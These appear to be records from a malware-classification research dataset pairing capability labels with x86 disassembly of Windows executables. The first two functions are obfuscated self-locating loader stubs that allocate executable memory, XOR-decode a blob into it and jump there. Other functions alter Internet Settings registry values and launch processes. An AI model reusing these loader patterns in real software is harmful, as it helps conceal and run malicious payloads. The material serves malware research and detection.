joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d04b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40d05a
pop dword [ebp - 0x30]
mov eax, 0x4fcb994b
sub eax, 0x4f8ac8f1
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xe60ff8e8
sub dword [ebp - 0x40], 0x97bdb39d
mov dword [ebp - 0x3c], 0xcd38bc31
add dword [ebp - 0x3c], 0x64fa9014
mov dword [ebp - 0x38], 0x5c5dddba
sub dword [ebp - 0x38], 0x1011998c
mov dword [ebp - 0x34], 0x4361a649
sub dword [ebp - 0x34], 0x4361a649
lea eax, [ebp - 0x40]
push eax
mov eax, 0x55eda748
sub eax, 0x55acc64c
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x5a1a9ff1
sub dword [ebp - 0x40], 0xe5a8369b
mov dword [ebp - 0x3c], 0x3c14338e
add dword [ebp - 0x3c], 0x5582de7
mov dword [ebp - 0x38], 0xc53c6f2b
add dword [ebp - 0x38], 0x9e32fd41
mov dword [ebp - 0x34], 0x56cdf897
sub dword [ebp - 0x34], 0x56cdf897
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0xfd782f78
sub eax, 0xfd374ef0
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3615c
push 0
call eax
mov ecx, 0xd527eef3
add ecx, 0x2ad85293
mov ebx, eax
mov edx, 0x39f38494
add edx, 0xc64e6b6c
add edx, dword [ebp - 0x30]
mov edi, 0x989fdae4
add edi, 0xb10455ed
xor dword [ebp - 0x20], 0x825da2bb
mov esi, dword [edx]
sub dword [ebp - 0x1c], edi
sub esi, edi
add dword [ebp - 0x2c], 0xebca302f
mov dword [ebx], esi
add dword [ebp - 0x18], 0xaecb6c8
add ebx, 4
add edx, 4
loop 0x40d17c
add eax, 0xf8eb
mov ebx, eax
add eax, 0xad4ec194
sub eax, 0xad4ec18f
mov ecx, 0x8c3a21d1
sub ecx, 0x8bfa21d1
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x10015429
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x10015438
pop dword [ebp - 0x38]
mov eax, 0x10015438
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x94a1f51e
sub dword [ebp - 0x48], 0x464fafd3
mov dword [ebp - 0x44], 0x359dd6e
add dword [ebp - 0x44], 0x2ed96ed7
mov dword [ebp - 0x40], 0x86f1e555
add dword [ebp - 0x40], 0xc55a5ed9
mov dword [ebp - 0x3c], 0x7e33724c
add dword [ebp - 0x3c], 0x81cc8db4
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x8ce377b3
sub dword [ebp - 0x48], 0x18710e5d
mov dword [ebp - 0x44], 0xbac3a23d
sub dword [ebp - 0x44], 0x795740c8
mov dword [ebp - 0x40], 0x8e28656
add dword [ebp - 0x40], 0x5a8ce616
mov dword [ebp - 0x3c], 0xfa2f50d0
sub dword [ebp - 0x3c], 0xfa2f50d0
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xeec2205
add eax, 0x1155e5b
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x38402
push 0
call eax
mov ecx, 0x54657425
sub ecx, 0x546538bd
xor edi, edi
add edi, eax
mov ebx, 0x10027200
add ebx, dword [ebp - 0x38]
mov esi, 0x3a8bb15e
sub dword [ebp - 0x2c], 0x19ff3ca1
mov edx, dword [ebx]
xor dword [ebp - 0x30], edi
xor edx, esi
mov dword [ebp - 0x18], 0x3bf02ab3
mov dword [edi], edx
add edi, 4
add ebx, 0x31f51edf
add ebx, 0xce0ae125
loop 0x10015546
add eax, 0xb31554c7
sub eax, 0xb3147454
mov ebx, eax
add eax, 5
mov ecx, 0xcd7c6549
add ecx, 0x42839ab7
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Create directory

Disassembly:
sub esp, 0x214
mov eax, dword [0x4d8b40]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
push edi
push 0x103
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00465b60
add esp, 0xc
lea ecx, [esp + 8]
call fcn.00420c70
lea ecx, [esp + 8]
call fcn.004264f0
cmp eax, 1
je 0x401053
push 0
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.APPDATA
push 0x517
mov ebx, str.LngCHS.ini
lea ecx, [esp + 0x10]
call fcn.004011f0
push str.APPDATA
push 0x518
mov ebx, str.LngCHT.ini
lea ecx, [esp + 0x10]
call fcn.004011f0
push str.APPDATA
push 0x519
mov ebx, str.LngENU.ini
lea ecx, [esp + 0x10]
call fcn.004011f0
push str.APPDATA
push 0x51a
mov ebx, 0x4c0b0c
lea ecx, [esp + 0x10]
call fcn.004011f0
push 0xff
lea edx, [esp + 0x115]
push 0
push edx
mov byte [esp + 0x11c], 0
call fcn.00465b60
add esp, 0xc
lea edi, [esp + 0x110]
call fcn.00414b80
push str.APPDATA
push 0x51b
mov ebx, 0x4c0b1c
lea ecx, [esp + 0x10]
call fcn.004011f0
push str.APPDATA
push 0x51c
mov ebx, 0x4c0b28
lea ecx, [esp + 0x10]
call fcn.004011f0
push str.APPDATA
push 0x51d
mov ebx, str.ver.TXT
lea ecx, [esp + 0x10]
call fcn.004011f0
push str.APPDATA
push 0x51e
mov ebx, 0x4c0b3c
lea ecx, [esp + 0x10]
call fcn.004011f0
push 0x4c0b5c
push 0x51f
mov ebx, 0x4c0b48
lea ecx, [esp + 0x10]
call fcn.004011f0
push 0x4c0b5c
push 0x529
mov ebx, 0x4c0b60
lea ecx, [esp + 0x10]
call fcn.004011f0
push 0x4c0b5c
push 0x53e
mov ebx, 0x4c0b74
lea ecx, [esp + 0x10]
call fcn.004011f0
push 0x4c0b5c
push 0x532
mov ebx, 0x4c0b8c
lea ecx, [esp + 0x10]
call fcn.004011f0
push 0x4c0b5c
push 0x537
mov ebx, 0x4c0ba4
lea ecx, [esp + 0x10]
call fcn.004011f0
push 0x4c0b5c
push 0x538
mov ebx, 0x4c0bbc
lea ecx, [esp + 0x10]
call fcn.004011f0
xor eax, eax
pop edi
mov ecx, dword [esp + 0x210]
pop ebx
xor ecx, esp
call fcn.0045f97b
add esp, 0x214
ret
Function at 0x401b90
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x40
push esi
push 0x38
xor esi, esi
lea eax, [esp + 0x10]
push esi
push eax
mov dword [esp + 0x14], 0x3c
call fcn.00465b60
mov ecx, dword [esp + 0x54]
mov edx, dword [esp + 0x58]
add esp, 0xc
lea eax, [esp + 8]
push eax
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], 0x40
mov dword [esp + 0x28], esi
mov dword [esp + 0x20], edx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x401c24
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401bfd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401c1d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
pop esi
add esp, 0x40
ret
mov edx, dword [esp + 0x40]
lea ecx, [esp + 4]
push ecx
mov dword [esp + 8], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push edx
call esi
cmp dword [esp + 4], 0x103
jne 0x401c6e
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401c50
mov ecx, dword [esp + 0x44]
lea eax, [esp + 8]
push eax
push ecx
call esi
push 0x3e8
call edi
cmp dword [esp + 8], 0x103
je 0x401c50
pop edi
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x401c8e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401cae
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
pop esi
add esp, 0x40
ret

Function at 0x4023c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4023d9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402414
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x402410
lea ebx, [ebx]
cmp esi, eax
jae 0x402414
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x402400
cmp esi, eax
jb 0x40241a
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x402f70
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4a57a8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4d8b40]
xor eax, esp
push eax
lea eax, [esp + 0x40]
mov dword fs:[0], eax
mov ebp, ecx
call fcn.00440098
mov eax, dword [ebp + 0x74]
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
push eax
mov eax, dword [ebp + 0x20]
push 1
push 0x80
push eax
call esi
mov eax, dword [ebp + 0x74]
mov ecx, dword [ebp + 0x20]
push eax
push 0
push 0x80
push ecx
call esi
call fcn.00402d30
mov eax, dword [ebp + 0x20]
lea edx, [esp + 0x2c]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov edx, dword [ebp + 0x20]
lea ecx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push 1
push 0x246
push 0x325
push eax
push ecx
mov ecx, ebp
call fcn.0044656a
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x2c]
push 1
push 0x22a
push 0x320
push edx
push eax
mov ecx, 0x4e0d78
call fcn.0044656a
call fcn.0044dc0d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x403046
push 0x80004005
call fcn.00402ae0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x18]
push ecx
mov ecx, ebp
mov dword [esp + 0x4c], 0
call fcn.00444672
call fcn.004543b0
call fcn.004543b0
mov eax, dword [eax + 0xc]
push 0x80
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov edx, dword [esp + 0x18]
mov ebx, dword [ebp + 0x20]
push eax
mov eax, dword [0x4e0d04]
lea esi, [ebp + 0x78]
push edx
call fcn.004326b0
mov eax, dword [ebp + 0x20]
mov dword [ebp + 0x284], eax
mov eax, esi
call fcn.004329d0
mov edi, dword [ebp + 0x20]
call fcn.00432fd0
mov eax, dword [esp + 0x18]
push eax
mov eax, esi
call fcn.00432960
mov eax, ebp
call fcn.00406d00
mov dword [esp + 0x48], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov dword [ebp + 0x2e0], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4030f6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404750
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a2ee0
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x4d8b40]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x18]
push eax
push 0x2001f
xor edi, edi
push edi
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push SysReAllocString
mov dword [ebp - 0x24], 0xa0
mov dword [ebp - 0x18], edi
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x1c], eax
cmp eax, edi
je 0x4047bf
push 0x4cf13c
lea ecx, [ebp - 0x20]
push ecx
mov dword [ebp - 0x20], eax
call fcn.004679cb
mov eax, dword [ebp - 0x18]
push 4
lea edx, [ebp - 0x24]
push edx
push 4
push edi
push str.SecureProtocols
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
mov dword [ebp - 0x1c], esi
cmp esi, edi
je 0x4047fa
push 0x4cf13c
lea ecx, [ebp - 0x28]
push ecx
mov dword [ebp - 0x28], esi
call fcn.004679cb
mov eax, 0x4047f7
ret
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x404808
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0045f97b
mov esp, ebp
pop ebp
ret

Function at 0x406bc0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4a4f56
mov eax, dword fs:[0]
push eax
sub esp, 0x110
mov eax, dword [0x4d8b40]
xor eax, esp
mov dword [esp + 0x10c], eax
push esi
push edi
mov eax, dword [0x4d8b40]
xor eax, esp
push eax
lea eax, [esp + 0x11c]
mov dword fs:[0], eax
push 0x103
lea eax, [esp + 0x19]
push 0
push eax
mov byte [esp + 0x20], 0
call fcn.00465b60
add esp, 0xc
lea edi, [esp + 0x10]
call fcn.004207d0
lea esi, [esp + 0x14]
mov dword [esp + 0x124], 0
call fcn.004209b0
push 0x4c10b4
lea ecx, [esp + 0x10]
call fcn.00402670
push 0xc
push str.explorer.exe
lea ecx, [esp + 0x14]
mov byte [esp + 0x12c], 1
call fcn.00407720
push 2
push 0x4c1fdc
lea ecx, [esp + 0x14]
call fcn.00407720
mov eax, esi
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406c70
sub eax, edx
push eax
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x14]
call fcn.00407720
mov edx, dword [esp + 0xc]
push 1
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov byte [esp + 0x124], 0
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406cbd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x10]
test eax, eax
je 0x406cce
push eax
call fcn.00461e9d
add esp, 4
mov ecx, dword [esp + 0x11c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.0045f97b
add esp, 0x11c
ret
Function at 0x407850
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4a4426
mov eax, dword fs:[0]
push eax
sub esp, 0x124
mov eax, dword [0x4d8b40]
xor eax, esp
mov dword [esp + 0x11c], eax
push ebx
push esi
mov eax, dword [0x4d8b40]
xor eax, esp
push eax
lea eax, [esp + 0x130]
mov dword fs:[0], eax
xor ebx, ebx
push 0x103
lea eax, [esp + 0x21]
push ebx
push eax
mov dword [esp + 0x1c], ebx
mov byte [esp + 0x28], bl
call fcn.00465b60
add esp, 0xc
lea ecx, [esp + 0x1c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.0044dc0d
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x4078d6
push 0x80004005
call fcn.00402ae0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
mov dword [esp + 0x138], ebx
call fcn.0044dc0d
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x407907
push 0x80004005
call fcn.00402ae0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
push 0x13
push str.csrcbankAssist_HTML
lea ecx, [esp + 0x1c]
mov byte [esp + 0x140], 1
call fcn.00402900
mov ecx, dword [esp + 0x14]
push ecx
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x20]
push 0x4c23c4
push eax
call fcn.00407690
mov esi, dword [esp + 0x28]
add esp, 0x10
mov ecx, esi
call fcn.004264f0
cmp eax, 1
je 0x407973
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40799a
mov ecx, esi
call fcn.004264f0
cmp eax, 1
jne 0x40799a
push esi
push 0x100
push edi
mov dword [esp + 0x1c], 1
call fcn.004603b6
push 0x4c23cc
push 0x100
push edi
call fcn.00460342
add esp, 0x18
lea eax, [esi - 0x10]
mov byte [esp + 0x138], bl
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4079bd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x138], 0xffffffff
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4079e8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x130]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0045f97b
mov esp, ebp
pop ebp
ret
Function at 0x4080d0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x4a34d9
mov eax, dword fs:[0]
push eax
push ebx
push esi
mov eax, dword [0x4d8b40]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, dword [esp + 0x1c]
mov dword [esi], vtable.W3Client.0
xor ebx, ebx
mov eax, 0xf
mov dword [esi + 0x28], eax
mov dword [esi + 0x24], ebx
mov byte [esi + 0x14], bl
mov dword [esp + 0x14], ebx
mov dword [esi + 0x44], eax
mov dword [esi + 0x40], ebx
mov byte [esi + 0x30], bl
mov dword [esi + 0x60], eax
mov dword [esi + 0x5c], ebx
mov byte [esi + 0x4c], bl
mov dword [esi + 0x7c], eax
mov dword [esi + 0x78], ebx
mov byte [esi + 0x68], bl
lea eax, [esi + 0x88]
push eax
mov byte [esp + 0x18], 3
call fcn.004145b0
lea ecx, [esi + 0xa4]
push ecx
mov byte [esp + 0x18], 4
call fcn.004145b0
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov eax, esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0xc
ret 4

Function at 0x409580
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a2eb0
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x4d8b40]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
mov esi, ecx
lea ecx, [ebp - 0x18]
push ecx
push 0x2001f
xor edi, edi
push edi
push eax
push SysReAllocString
mov dword [ebp - 0x18], edi
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x1c], eax
cmp eax, edi
je 0x4095e9
push 0x4cf13c
lea edx, [ebp - 0x20]
push edx
mov dword [ebp - 0x20], eax
call fcn.004679cb
mov ecx, dword [ebp - 0x18]
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push edi
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
mov dword [ebp - 0x1c], esi
cmp esi, edi
je 0x409620
push 0x4cf13c
lea edx, [ebp - 0x24]
push edx
mov dword [ebp - 0x24], esi
call fcn.004679cb
mov eax, 0x40961d
ret
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x40962e
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0045f97b
mov esp, ebp
pop ebp
ret 8
Function at 0x409650
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a2e90
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x4d8b40]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, 4
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x14]
push eax
push 0x20019
xor edi, edi
push edi
push ecx
push SysReAllocString
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x18], eax
cmp eax, edi
je 0x4096bc
push 0x4cf13c
lea edx, [ebp - 0x1c]
push edx
mov dword [ebp - 0x1c], eax
call fcn.004679cb
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x14]
lea edx, [ebp - 0x24]
push edx
push edi
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
mov dword [ebp - 0x18], esi
cmp esi, edi
je 0x4096fa
push 0x4cf13c
lea edx, [ebp - 0x28]
push edx
mov dword [ebp - 0x28], esi
call fcn.004679cb
mov eax, 0x4096f7
ret
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x409708
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x40a790
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x414]
sub esp, 0x414
push 0xffffffffffffffff
push 0x4a4390
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x4d8b40]
xor eax, ebp
mov dword [ebp + 0x410], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x41c]
xor ebx, ebx
push 0x207
mov dword [ebp - 0x18], eax
lea eax, [ebp + 0x209]
push ebx
mov dword [ebp - 0x1c], ebx
push eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x14], ebx
call fcn.00465b60
push 0x207
lea ecx, [ebp + 1]
push ebx
push ecx
mov byte [ebp], bl
call fcn.00465b60
mov eax, dword [ebp - 0x28]
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_
lea edi, [ebp + 0x208]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
add esp, 0x18
mov dword [ebp - 0x20], 0x208
mov dword [ebp - 0x1c], ebx
mov esi, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40a830
lea edi, [ebp + 0x208]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x40a840
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x14]
push edx
push 0x101
mov ecx, eax
push ebx
and ecx, 3
lea eax, [ebp + 0x208]
rep movsb byte es:[edi], byte [esi]
push eax
mov dword [ebp - 4], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push reloc.OLEAUT32.dll_SysReAllocString
call esi
test eax, eax
je 0x40a8a5
lea ecx, [ebp - 0x14]
push ecx
push 1
push ebx
lea edx, [ebp + 0x208]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call esi
cmp eax, ebx
je 0x40a8a5
mov dword [ebp - 0x30], eax
push 0x4cf13c
lea eax, [ebp - 0x30]
push eax
call fcn.004679cb
lea ecx, [ebp - 0x20]
push ecx
mov ecx, dword [ebp - 0x2c]
lea edx, [ebp]
push edx
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x1c]
push eax
push ebx
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
je 0x40a900
mov dword [ebp - 0x24], eax
push 0x4cf13c
lea eax, [ebp - 0x24]
push eax
call fcn.004679cb
mov eax, dword [ebp - 0x14]
xor ebx, ebx
cmp eax, ebx
je 0x40a8e8
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x14], ebx
mov ecx, dword [ebp - 0x18]
push 0x4c10b4
call fcn.00402320
mov eax, 0x40a8fb
ret
mov esi, dword [ebp - 0x18]
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp]
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov byte [esi + 4], bl
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40a920
sub eax, edx
push eax
lea ecx, [ebp]
push ecx
mov ecx, esi
call fcn.00402240
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x410]
xor ecx, ebp
call fcn.0045f97b
add ebp, 0x414
mov esp, ebp
pop ebp
ret